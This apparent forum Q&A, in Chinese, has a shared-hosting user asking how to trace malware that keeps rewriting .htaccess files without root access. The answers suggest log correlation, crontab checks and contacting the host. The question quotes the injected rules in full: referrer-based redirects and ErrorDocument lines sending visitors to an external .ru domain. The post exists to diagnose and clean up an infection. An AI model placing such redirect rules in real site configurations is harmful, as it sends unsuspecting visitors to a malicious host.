我今天花了一整天时间为我的一位客户追踪共享主机上的恶意软件。
问题如下:每隔 2 小时左右,.htaccess 文件和所有其他 .htaccess 文件都会被修改,在文件顶部会添加以下几行:
IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>
底部:
ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8
主要问题是我不是服务器上的 root 用户,无法使用 sudo,因为这是与 100 多个网站共享的主机。由于我不是 root 用户,因此无法使用 dmesg、lsof、dtrace、chattr 等许多常用命令。
我找不到谁在修改 .htaccess 文件,我该如何获取这些信息?我猜是某个 php 脚本在更改通过命令和控制从外部调用的文件。
这似乎与此有关: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
我如何才能在不是 root 的情况下找出谁在修改 .htaccess 文件?
答案1
如果没有 root 权限,或者无法使用诊断工具,您就会陷入困境。您可以 grep 遍历文件,.ru
查看它是否在您的控制范围内。
有一些工具你可以尝试一下:inotify、lsof(不太可能)——或者简单地将文件更改.htaccess
为不可由 Apache 写入(如果可能)。如果每两小时一次,crontab
也请查看。
最后,还是有些问题,你或许应该参考一下这个:我该如何处理受到感染的服务器?
答案2
您首先应该向您的托管服务提供商寻求帮助,他们想知道他们托管的网站之一是否遭到了黑客攻击。整个服务器都可能被攻陷。在这种情况下,您的提供商有责任将您的网站转移到另一个安全的服务器,以便他们可以分析、清理和重新安装。
无论如何,您都应该要求他们将修改的 .htaccess 文件的日期/时间与他们拥有的任何类型的日志相关联:access.log、auth.log、FTP 服务器日志等。
此外,将您的网站中的文件与最近的备份进行比较也很有用,这样您就可以看到还修改了哪些内容。